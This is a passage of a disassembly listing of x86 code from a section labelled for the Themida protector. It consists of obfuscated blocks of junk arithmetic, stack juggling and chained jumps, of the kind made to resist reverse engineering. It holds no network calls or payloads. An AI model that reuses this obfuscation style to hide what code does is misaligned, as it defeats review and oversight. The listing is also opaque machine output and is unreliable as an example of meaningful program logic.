		sub	eax, 1BF4109Ch
		pop	edx
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 64A53112h
		not	edx
		dec	edx
		add	edx, 64A53118h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6EB07437h
		jmp	loc_560EE7
; ---------------------------------------------------------------------------


loc_56357A:				; CODE XREF: Themida_:0055444Bj
		add	eax, ebp
		jmp	loc_558CC6
; ---------------------------------------------------------------------------


loc_563581:				; CODE XREF: Themida_:00553706j
		sub	edi, 4
		jmp	loc_557D01
; ---------------------------------------------------------------------------


loc_56358C:				; CODE XREF: Themida_:0055F8E3j
		xchg	esi, [esp]
		pop	esp
		and	[edi+1Ch], edx
		jmp	loc_56193E
; ---------------------------------------------------------------------------


loc_563598:				; CODE XREF: Themida_:0055AAA4j
		mov	ebx, 15A61FCBh
		not	ebx
		add	ebx, 1EE37AD0h
		sub	ebx, 1
		jmp	loc_557D7E
; ---------------------------------------------------------------------------


loc_5635AD:				; CODE XREF: Themida_:00554CD0j
		push	eax
		mov	al, 50h
		shl	al, 4
		or	al, 6Eh
		xor	al, 85h
		sub	al, 95h
		xor	al, 0C1h
		xor	cl, al
		pop	eax
		sub	bl, cl
		jmp	loc_55CAEB
; ---------------------------------------------------------------------------


loc_5635C5:				; CODE XREF: Themida_:00552CA3j
		mov	edx, eax
		mov	ebx, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 20A96C4Ch
		push	ebp
		mov	ebp, 41BE560Eh
		neg	ebp
		shr	ebp, 2
		sub	ebp, 1
		and	ebp, 19711D65h
		jmp	loc_55DB6F
; ---------------------------------------------------------------------------


loc_5635F2:				; CODE XREF: Themida_:005564D3j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555BEB
; ---------------------------------------------------------------------------


loc_5635FD:				; CODE XREF: Themida_:0055B286j
		push	ebx
		mov	ebx, 0F0E03317h
		add	ebp, 21C92F8Fh
		jmp	loc_55D056
; ---------------------------------------------------------------------------


loc_56360E:				; CODE XREF: Themida_:0055A124j
		sub	ecx, edi
		pop	edi
		add	ecx, ebx
		push	ebx
		mov	ebx, 6C96D67h
		add	ecx, ebx
		pop	ebx
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_552B36
; ---------------------------------------------------------------------------


loc_563625:				; CODE XREF: Themida_:0055172Dj
		xchg	eax, [esp]
		pop	esp
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55F2F8
; ---------------------------------------------------------------------------


loc_563637:				; CODE XREF: Themida_:00563B6Fj
		mov	bl, 0EAh
		push	dx
		jmp	loc_562CFD
; ---------------------------------------------------------------------------


loc_563640:				; CODE XREF: Themida_:005539DFj
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55DE58
; ---------------------------------------------------------------------------


loc_56365F:				; CODE XREF: Themida_:00565AFEj
		neg	dh
		jmp	loc_55A5A8
; ---------------------------------------------------------------------------


loc_563666:				; CODE XREF: Themida_:005529EBj
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 233D7FF2h
		add	esi, ecx
		jmp	loc_5615BF
; ---------------------------------------------------------------------------


loc_563684:				; CODE XREF: Themida_:0055E8B2j
		pop	eax
		sub	ebp, 1B33A08h
		push	edx
		mov	edx, 436C2B54h
		inc	edx
		jmp	loc_565586
; ---------------------------------------------------------------------------


loc_563697:				; CODE XREF: Themida_:00551F11j
		mov	[esp], bx
		push	esi
		push	esp
		pop	esi
		jmp	loc_560080
; ---------------------------------------------------------------------------


loc_5636A3:				; CODE XREF: Themida_:005565ECj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56540C
; ---------------------------------------------------------------------------


loc_5636AE:				; CODE XREF: Themida_:005577C3j
		mov	ebx, 6A005C47h
		add	ebx, 6BAE6E3Bh
		inc	ebx
		jmp	loc_559160
; ---------------------------------------------------------------------------


loc_5636BF:				; CODE XREF: Themida_:00557ECEj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		jmp	loc_5652C9
; ---------------------------------------------------------------------------


loc_5636D4:				; CODE XREF: Themida_:0055BB63j
		push	ecx
		push	edx
		jmp	loc_559D67
; ---------------------------------------------------------------------------


loc_5636DB:				; CODE XREF: Themida_:00562AA2j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5636E0:				; CODE XREF: Themida_:005586E3j
		mov	[esp], ebp
		jmp	loc_554E7F
; ---------------------------------------------------------------------------


loc_5636E8:				; CODE XREF: Themida_:0055062Cj
		push	edx
		jmp	loc_55D1E7
; ---------------------------------------------------------------------------


loc_5636EE:				; CODE XREF: Themida_:0055BDB7j
		sub	eax, edi
		pop	edi
		add	eax, 6AF94FC1h
		sub	eax, 34C13910h
		sub	eax, ebp
		add	eax, 34C13910h
		push	ecx
		jmp	loc_557877
; ---------------------------------------------------------------------------


loc_563708:				; CODE XREF: Themida_:00560F9Ej
		sub	ecx, 626A1806h
		sub	ecx, 2E822F44h
		sub	edx, ecx
		pop	ecx
		add	edx, esi
		jmp	loc_557FD8
; ---------------------------------------------------------------------------


loc_56371E:				; CODE XREF: Themida_:005518F7j
		add	esp, 4
		add	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 6D0970E1h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ebx
		push	edx
		push	ebx
		mov	ebx, 0C6B2E09h
		inc	ebx
		push	ecx
		mov	ecx, 209D2780h
		sub	ecx, 37694D7Eh
		sub	ecx, 7FBE55C5h
		or	ecx, 484C4439h
		jmp	loc_565245
; ---------------------------------------------------------------------------


loc_56375F:				; CODE XREF: Themida_:00564811j
		mov	[esp], ebx
		mov	ebx, 3CDF40CDh
		or	edx, ebx
		pop	ebx
		add	edx, 0C100BD07h
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, 0DD26603h
		neg	ebx
		or	ebx, 4C2D7F2Ch
		shr	ebx, 5
		xor	ebx, 7F16FFBh
		jmp	loc_56092F
; ---------------------------------------------------------------------------


loc_56378F:				; CODE XREF: Themida_:00564575j
		push	ecx
		push	eax
		mov	eax, 336F6069h
		dec	eax
		jmp	loc_551838
; ---------------------------------------------------------------------------


loc_56379C:				; CODE XREF: Themida_:00563D60j
		mov	esi, 699544D1h
		jmp	loc_550A08
; ---------------------------------------------------------------------------


loc_5637A6:				; CODE XREF: Themida_:0055193Bj
		mov	esp, [esp]
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_551842
; ---------------------------------------------------------------------------


loc_5637B7:				; CODE XREF: Themida_:00550C7Bj
		add	eax, 562B2A64h
		push	ebx
		mov	ebx, 0D082291h
		add	eax, 56B56A8Ch
		sub	eax, ebx
		sub	eax, 56B56A8Ch
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4344275Fh
		push	eax
		jmp	loc_552049
; ---------------------------------------------------------------------------


loc_5637EA:				; CODE XREF: Themida_:00565A4Bj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5569FE
; ---------------------------------------------------------------------------


loc_5637FA:				; CODE XREF: Themida_:0055DFA2j
		push	2712h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_555C1F
; ---------------------------------------------------------------------------


loc_563808:				; CODE XREF: Themida_:005658BCj
		xor	esi, 68134C50h
		jmp	loc_55477D
; ---------------------------------------------------------------------------


loc_563813:				; CODE XREF: Themida_:0055FEECj
		and	ecx, 66622246h
		jmp	loc_55A799
; ---------------------------------------------------------------------------


loc_56381E:				; CODE XREF: Themida_:0055EC23j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6CC5477Fh
		sub	edi, 71974909h
		jmp	loc_562B9D
; ---------------------------------------------------------------------------


loc_563835:				; CODE XREF: Themida_:0055A4EEj
		mov	[esp], eax
		xchg	edi, [esp]
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		not	ecx
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_5581A8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	47B6h
		mov	[esp], edx
		jmp	loc_551DAC
; ---------------------------------------------------------------------------


loc_56385D:				; CODE XREF: Themida_:0055806Ej
		pop	ebp
		add	edx, 1E2EF527h
		jmp	loc_5646F3
; ---------------------------------------------------------------------------


loc_563869:				; CODE XREF: Themida_:0055B174j
		pop	esi
		dec	esi
		jmp	loc_552CB3
; ---------------------------------------------------------------------------


loc_563870:				; CODE XREF: Themida_:00556A1Aj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_554CFD
; ---------------------------------------------------------------------------


loc_56387F:				; CODE XREF: Themida_:00563313j
		and	edx, eax
		pop	eax
		push	4FACh
		jmp	loc_56573E
; ---------------------------------------------------------------------------


loc_56388C:				; CODE XREF: Themida_:0055A869j
		add	esp, 4
		add	edx, edi
		sub	edx, 0DDC1683h
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5587C4
; ---------------------------------------------------------------------------


loc_5638A3:				; CODE XREF: Themida_:00563507j
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 97FFDFFCh
		jmp	loc_5552C1
; ---------------------------------------------------------------------------


loc_5638B9:				; CODE XREF: Themida_:00558D8Cj
		pop	ebp
		jmp	loc_561B42
; ---------------------------------------------------------------------------


loc_5638BF:				; CODE XREF: Themida_:00558298j
		push	ebx
		push	esi
		mov	esi, 165B5272h
		mov	ebx, esi
		pop	esi
		or	ebx, 49CE2F45h
		jmp	loc_564BE1
; ---------------------------------------------------------------------------


loc_5638D4:				; CODE XREF: Themida_:0055CD8Cj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	4313h
		mov	[esp], esi
		jmp	loc_55B35D
; ---------------------------------------------------------------------------


loc_5638EA:				; CODE XREF: Themida_:0055B19Ej
		mov	ecx, 63976753h
		xor	ecx, 44252903h
		shr	ecx, 8
		jmp	loc_560165
; ---------------------------------------------------------------------------


loc_5638FD:				; CODE XREF: Themida_:00560AFAj
		add	ebx, 0C28B2EA1h
		push	ecx
		mov	ecx, ebx
		push	edx
		jmp	loc_55E914
; ---------------------------------------------------------------------------


loc_56390C:				; CODE XREF: Themida_:00551663j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	0EF8h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_565711
; ---------------------------------------------------------------------------


loc_563943:				; CODE XREF: Themida_:0056540Dj
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56394D:				; CODE XREF: Themida_:00550483j
		and	esi, 35D5546Fh
		xor	esi, 25426B91h
		push	ebp
		mov	ebp, 5A163D3h
		sub	ebp, 47E11A8Eh
		or	ebp, 37E07C70h
		xor	ebp, 47CA320Ch
		shl	ebp, 4
		add	ebp, 0CCF318C2h
		xor	esi, ebp
		pop	ebp
		add	esi, 0E7F6D29Eh
		jmp	loc_55A185
; ---------------------------------------------------------------------------


loc_563988:				; CODE XREF: Themida_:00555766j
		mov	[esp], ecx
		jmp	loc_558073
; ---------------------------------------------------------------------------


loc_563990:				; CODE XREF: Themida_:0055A087j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	1678h
		mov	[esp], ebx
		jmp	loc_565AD5
; ---------------------------------------------------------------------------


loc_5639A7:				; CODE XREF: Themida_:00560365j
		sub	ebp, 2817398Ah
		pop	ebx
		jmp	loc_551940
; ---------------------------------------------------------------------------


loc_5639B3:				; CODE XREF: Themida_:005607CAj
		mov	ecx, 65C0092Bh
		xor	ecx, 43857F06h
		sub	ecx, 46C8362Eh
		xor	edx, ecx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5522F7
; ---------------------------------------------------------------------------


loc_5639E6:				; CODE XREF: Themida_:0056332Aj
		xor	ecx, 71E7ADE9h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 63627524h
		mov	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 58353DB8h
		and	esi, 6243C25h
		not	esi
		jmp	loc_55BE24
; ---------------------------------------------------------------------------


loc_563A11:				; CODE XREF: Themida_:0055A447j
		or	edx, 23607528h
		sub	edx, 7FFFFF79h
		add	eax, 264377C1h
		add	eax, edx
		sub	eax, 264377C1h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5567E7
; ---------------------------------------------------------------------------


loc_563A46:				; CODE XREF: Themida_:0055E2D9j
		mov	esp, [esp]
		jmp	loc_55DF1C
; ---------------------------------------------------------------------------


loc_563A4E:				; CODE XREF: Themida_:0055567Dj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	al, 0A9h
		sub	al, 31h
		mov	bl, al
		pop	eax
		sub	bl, 1
		push	edx
		mov	dl, 73h
		xor	dl, 0FBh
		jmp	loc_561E9F
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 4DC53A61h
		jmp	loc_55E7EC
; ---------------------------------------------------------------------------


loc_563A81:				; CODE XREF: Themida_:00561274j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 38D33AB1h
		shr	ecx, 5
		neg	ecx
		push	edi
		mov	edi, 12DF0D3Eh
		shr	edi, 6
		jmp	loc_55FD8A
; ---------------------------------------------------------------------------


loc_563A9D:				; CODE XREF: Themida_:0056455Fj
		mov	[esp], edi
		mov	edi, 2CC51D0Dh
		inc	edi
		push	eax
		jmp	loc_560149
; ---------------------------------------------------------------------------


loc_563AAC:				; CODE XREF: Themida_:00551CA2j
		add	edi, 4
		jmp	loc_561C7B
; ---------------------------------------------------------------------------


loc_563AB7:				; CODE XREF: Themida_:0055E9E0j
		sub	eax, ecx
		jmp	loc_5560F8
; ---------------------------------------------------------------------------


loc_563ABE:				; CODE XREF: Themida_:005624CDj
		mov	cx, 4A8Ah
		push	edx
		mov	dx, 2FFAh
		jmp	loc_55FF27
; ---------------------------------------------------------------------------


loc_563ACC:				; CODE XREF: Themida_:00564F26j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55BC5B
; ---------------------------------------------------------------------------


loc_563ADB:				; CODE XREF: Themida_:0055E9A1j
		add	edi, 690C4871h
		push	edi
		sub	dword ptr [esp], 0FFFFFFFFh
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 60A0226Bh
		xor	ecx, 6E3B3320h
		and	ecx, 19110687h
		xor	ecx, 0AC092290h
		jmp	loc_55A29F
; ---------------------------------------------------------------------------


loc_563B0C:				; CODE XREF: Themida_:00563171j
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 2
		jmp	loc_55A101
; ---------------------------------------------------------------------------


loc_563B24:				; CODE XREF: Themida_:0055E8A8j
		push	ecx
		mov	ecx, 71D86B79h
		jmp	loc_564AFE
; ---------------------------------------------------------------------------


loc_563B2F:				; CODE XREF: Themida_:005526EDj
		mov	ebp, 24FD400Dh
		add	eax, 7F8D4AD6h
		jmp	loc_5569AC
; ---------------------------------------------------------------------------


loc_563B3E:				; CODE XREF: Themida_:00563B7Ej
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		mov	ecx, eax
		jmp	loc_565092
; ---------------------------------------------------------------------------


loc_563B5A:				; CODE XREF: Themida_:0055153Fj
		xor	edi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_556832
; ---------------------------------------------------------------------------


loc_563B69:				; CODE XREF: Themida_:00551647j
		mov	[esp], ecx
		mov	ch, 0Fh
		push	ebx
		jmp	loc_563637
; ---------------------------------------------------------------------------


loc_563B74:				; CODE XREF: Themida_:0055145Aj
		add	eax, ebx
		sub	eax, 1397464Ah
		mov	ebx, [esp]
		jmp	loc_563B3E
; ---------------------------------------------------------------------------


loc_563B83:				; CODE XREF: Themida_:005510F7j
		xchg	eax, [esp]
		pop	esp
		pop	edx
		sub	eax, 5E051CF5h
		add	eax, ebx
		add	eax, 5E051CF5h
		pop	ebx
		push	edx
		mov	edx, 2
		jmp	loc_5594F8
; ---------------------------------------------------------------------------


loc_563BA0:				; CODE XREF: Themida_:00556CEAj
		mov	ebx, [esp]
		jmp	loc_556554
; ---------------------------------------------------------------------------


loc_563BA8:				; CODE XREF: Themida_:00557A22j
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	4
		jmp	loc_5578CD
; ---------------------------------------------------------------------------


loc_563BF3:				; CODE XREF: Themida_:00552D3Dj
		mov	edx, 2ED0049Dh
		jmp	loc_553A2B
; ---------------------------------------------------------------------------


loc_563BFD:				; CODE XREF: Themida_:0055DB9Aj
		add	dh, 8
		and	cl, dh
		pop	edx
		add	cl, 9Dh
		sub	al, cl
		pop	ecx
		sub	al, 39h
		jmp	loc_559435
; ---------------------------------------------------------------------------


loc_563C10:				; CODE XREF: Themida_:00555F3Cj
		sub	bl, al
		push	2A2Fh
		jmp	loc_554CE0
; ---------------------------------------------------------------------------


loc_563C1C:				; CODE XREF: Themida_:00560C69j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_559C10
; ---------------------------------------------------------------------------


loc_563C2E:				; CODE XREF: Themida_:0055DE75j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563C33:				; CODE XREF: Themida_:00551DA7j
		mov	edx, 129221C3h
		push	edx
		not	dword ptr [esp]
		jmp	loc_55E7E6
; ---------------------------------------------------------------------------


loc_563C41:				; CODE XREF: Themida_:005648C8j
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_556BC4
; ---------------------------------------------------------------------------


loc_563C56:				; CODE XREF: Themida_:00564AC0j
		xor	ebx, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563C66:				; CODE XREF: Themida_:00564909j
		mov	esi, 289F1FCBh
		jmp	loc_554759
; ---------------------------------------------------------------------------


loc_563C70:				; CODE XREF: Themida_:00560802j
		push	43D4h
		mov	[esp], edx
		mov	edx, 4
		sub	esp, 4
		jmp	loc_5584EE
; ---------------------------------------------------------------------------


loc_563C85:				; CODE XREF: Themida_:0055CB04j
		mov	[esp], ebx
		jmp	loc_55DFCF
; ---------------------------------------------------------------------------


loc_563C8D:				; CODE XREF: Themida_:00555C57j
		add	eax, 2
		jmp	loc_559E6B
; ---------------------------------------------------------------------------


loc_563C95:				; CODE XREF: Themida_:00557113j
		push	219Ah
		mov	[esp], esi
		jmp	loc_561245
; ---------------------------------------------------------------------------


loc_563CA2:				; CODE XREF: Themida_:00556395j
		pop	ecx
		jmp	loc_56409E
; ---------------------------------------------------------------------------


loc_563CA8:				; CODE XREF: Themida_:0055F3ACj
		mov	[esp], ebx
		jmp	loc_55EFB0
; ---------------------------------------------------------------------------


loc_563CB0:				; CODE XREF: Themida_:005545A7j
		mov	eax, 71570AD1h
		add	eax, 0BCB5155h
		push	esi
		mov	esi, 6A0060C9h
		shl	esi, 3
		jmp	loc_55C127
; ---------------------------------------------------------------------------


loc_563CC8:				; CODE XREF: Themida_:00564199j
		dec	edi
		push	eax
		mov	eax, 588458B9h
		add	edi, eax
		pop	eax
		push	ecx
		push	1ED82B4Dh
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55493F
; ---------------------------------------------------------------------------


loc_563CEB:				; CODE XREF: Themida_:0056313Fj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55C55B
; ---------------------------------------------------------------------------


loc_563D25:				; CODE XREF: Themida_:00565675j
		push	eax
		jmp	loc_5512DD
; ---------------------------------------------------------------------------


loc_563D2B:				; CODE XREF: Themida_:0055D263j
		pop	eax
		xor	esi, 64800350h
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_552DD6
; ---------------------------------------------------------------------------


loc_563D3E:				; CODE XREF: Themida_:0056292Bj
		add	ebx, 4
		jmp	loc_55E5A6
; ---------------------------------------------------------------------------


loc_563D49:				; CODE XREF: Themida_:005506EEj
		push	esi
		push	edx
		pop	esi
		jmp	loc_565613
; ---------------------------------------------------------------------------


loc_563D51:				; CODE XREF: Themida_:00557544j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 7ED648C5h
		shr	eax, 8
		push	esi
		jmp	loc_56379C
; ---------------------------------------------------------------------------


loc_563D65:				; CODE XREF: Themida_:005606A2j
		pop	esi
		push	ebx
		push	edi
		mov	edi, 291763D2h
		inc	edi
		sub	edi, 6CD42180h
		sub	edi, 3EC5BFDh
		xor	edi, 56F00F02h
		sub	edi, 0E6797624h
		mov	ebx, edi
		pop	edi
		xor	eax, ebx
		pop	ebx
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_55283C
; ---------------------------------------------------------------------------


loc_563D9A:				; CODE XREF: Themida_:00561F84j
		mov	dl, 0BDh
		sub	esp, 2
		jmp	loc_55D250
; ---------------------------------------------------------------------------


loc_563DA4:				; CODE XREF: Themida_:0055EF76j
		push	290Bh
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		shl	esi, 3
		jmp	loc_562EA4
; ---------------------------------------------------------------------------


loc_563DBA:				; CODE XREF: Themida_:005572DBj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	25DDh
		jmp	near ptr word_555BFE
; ---------------------------------------------------------------------------


loc_563DCE:				; CODE XREF: Themida_:00551D79j
		pop	esi
		and	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_555E02
; ---------------------------------------------------------------------------


loc_563DDA:				; CODE XREF: Themida_:005627C9j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56348A
; ---------------------------------------------------------------------------


loc_563DE2:				; CODE XREF: Themida_:0055E008j
		mov	esp, [esp]
		jmp	loc_564E1B
; ---------------------------------------------------------------------------


loc_563DEA:				; CODE XREF: Themida_:00557C4Fj
		mov	edi, [esp]
		add	esp, 4
		and	ebx, 3C446135h
		push	ecx
		mov	ecx, 2F940AE8h
		sub	ecx, 2157061Ah
		dec	ecx
		xor	ecx, 0D3549BD0h
		xor	ebx, ecx
		pop	ecx
		sub	edx, ebx
		jmp	loc_550F15
; ---------------------------------------------------------------------------


loc_563E16:				; CODE XREF: Themida_:00557C3Dj
		pop	ecx
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_552978
; ---------------------------------------------------------------------------


loc_563E22:				; CODE XREF: Themida_:00557869j
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563E2E:				; CODE XREF: Themida_:00556AF9j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	7FABh
		mov	[esp], edx
		jmp	loc_55E3D2
; ---------------------------------------------------------------------------


loc_563E45:				; CODE XREF: Themida_:0055D01Dj
		push	dword ptr [esp+4]
		jmp	loc_565518
; ---------------------------------------------------------------------------


loc_563E4E:				; CODE XREF: Themida_:0055A0F4j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24C51792h
		push	ebp
		mov	ebp, 7A17F9h
		shr	ebp, 2
		shr	ebp, 1
		jmp	loc_55B06C
; ---------------------------------------------------------------------------


loc_563E6C:				; CODE XREF: Themida_:00558C24j
		add	eax, 0E93C78h
		add	eax, ebp
		push	edx
		jmp	loc_55044B
; ---------------------------------------------------------------------------


loc_563E79:				; CODE XREF: Themida_:00551293j
		push	esi
		mov	esi, 7189172Fh
		sub	eax, esi
		jmp	loc_555BAE
; ---------------------------------------------------------------------------


loc_563E86:				; CODE XREF: Themida_:0055EB8Aj
		mov	bx, [esp]
		jmp	loc_55994B
; ---------------------------------------------------------------------------


loc_563E8F:				; CODE XREF: Themida_:00552CF6j
		mov	ebp, 61EF7228h
		add	ebp, 0D058E70Bh
		sub	edx, ebp
		pop	ebp
		sub	edx, 0CFB8A54Eh
		jmp	loc_557A57
; ---------------------------------------------------------------------------


loc_563EA8:				; CODE XREF: Themida_:0055DE3Bj
		sub	eax, ebx
		pop	ebx
		jmp	loc_556893
; ---------------------------------------------------------------------------


loc_563EB0:				; CODE XREF: Themida_:0055F7A5j
		pop	edx
		and	edx, 15932A1Ch
		push	eax
		mov	eax, 7C903D89h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		dec	edx
		add	edx, 6C7D3572h
		add	edi, edx
		jmp	loc_55D1CF
; ---------------------------------------------------------------------------


loc_563ED6:				; CODE XREF: Themida_:00561FBCj
		pop	ecx
		add	ebx, 378F7E29h
		jmp	loc_55BCC4
; ---------------------------------------------------------------------------


loc_563EE2:				; CODE XREF: Themida_:005558CFj
		add	esi, edx
		pop	edx
		add	eax, 19210E1h
		jmp	loc_55B142
; ---------------------------------------------------------------------------


loc_563EEF:				; CODE XREF: Themida_:00565471j
		add	eax, 631536ECh
		jmp	loc_55959E
; ---------------------------------------------------------------------------


loc_563EF9:				; CODE XREF: Themida_:00558DA9j
		pop	edx
		shr	eax, 2
		not	eax
		xor	eax, 92B2853Ch
		add	edx, eax
		pop	eax
		jmp	loc_556773
; ---------------------------------------------------------------------------


loc_563F0C:				; CODE XREF: Themida_:00563214j
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 6CF059D9h
		push	ebp
		pop	edi
		jmp	loc_5560CA
; ---------------------------------------------------------------------------


loc_563F30:				; CODE XREF: Themida_:0055417Aj
		shl	eax, 1
		xor	eax, 0E87D80D7h
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_557289
; ---------------------------------------------------------------------------


loc_563F41:				; CODE XREF: Themida_:0055972Fj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	70A2h
		mov	[esp], esi
		jmp	loc_55F065
; ---------------------------------------------------------------------------


loc_563F6A:				; CODE XREF: Themida_:00560FE6j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3843F3Bh
		and	edi, 73AB3094h
		xor	edi, 9F1405Dh
		add	eax, edi
		pop	edi
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_561155
; ---------------------------------------------------------------------------


loc_563F9E:				; CODE XREF: Themida_:00552973j
		sub	ebx, 0AC648ED2h
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55DDD5
; ---------------------------------------------------------------------------


loc_563FAE:				; CODE XREF: Themida_:0055EAABj
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 5E113244h
		jmp	loc_5654AB
; ---------------------------------------------------------------------------


loc_563FC1:				; CODE XREF: Themida_:0055CBABj
		add	esp, 4
		jmp	loc_551B9D
; ---------------------------------------------------------------------------


loc_563FCC:				; CODE XREF: Themida_:0055CD13j
		mov	ecx, 7D77F08Ah
		add	eax, 66DF7AD7h
		push	ecx
		jmp	loc_556615
; ---------------------------------------------------------------------------


loc_563FDC:				; CODE XREF: Themida_:00559C65j
		push	esi
		jmp	loc_554D26
; ---------------------------------------------------------------------------


loc_563FE2:				; CODE XREF: Themida_:00554114j
		sub	esi, 0E681E8Dh
		shl	esi, 7
		sub	esi, 0B95A856Eh
		add	eax, 45D23EF3h
		add	eax, esi
		jmp	loc_553FF7
; ---------------------------------------------------------------------------


loc_563FFD:				; CODE XREF: Themida_:00562F6Cj
		pop	ebx
		add	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 58B92FC6h
		push	0B39A9945h
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554155
; ---------------------------------------------------------------------------


loc_564032:				; CODE XREF: Themida_:0056189Aj
		push	edx
		push	esp
		pop	edx
		push	ebp
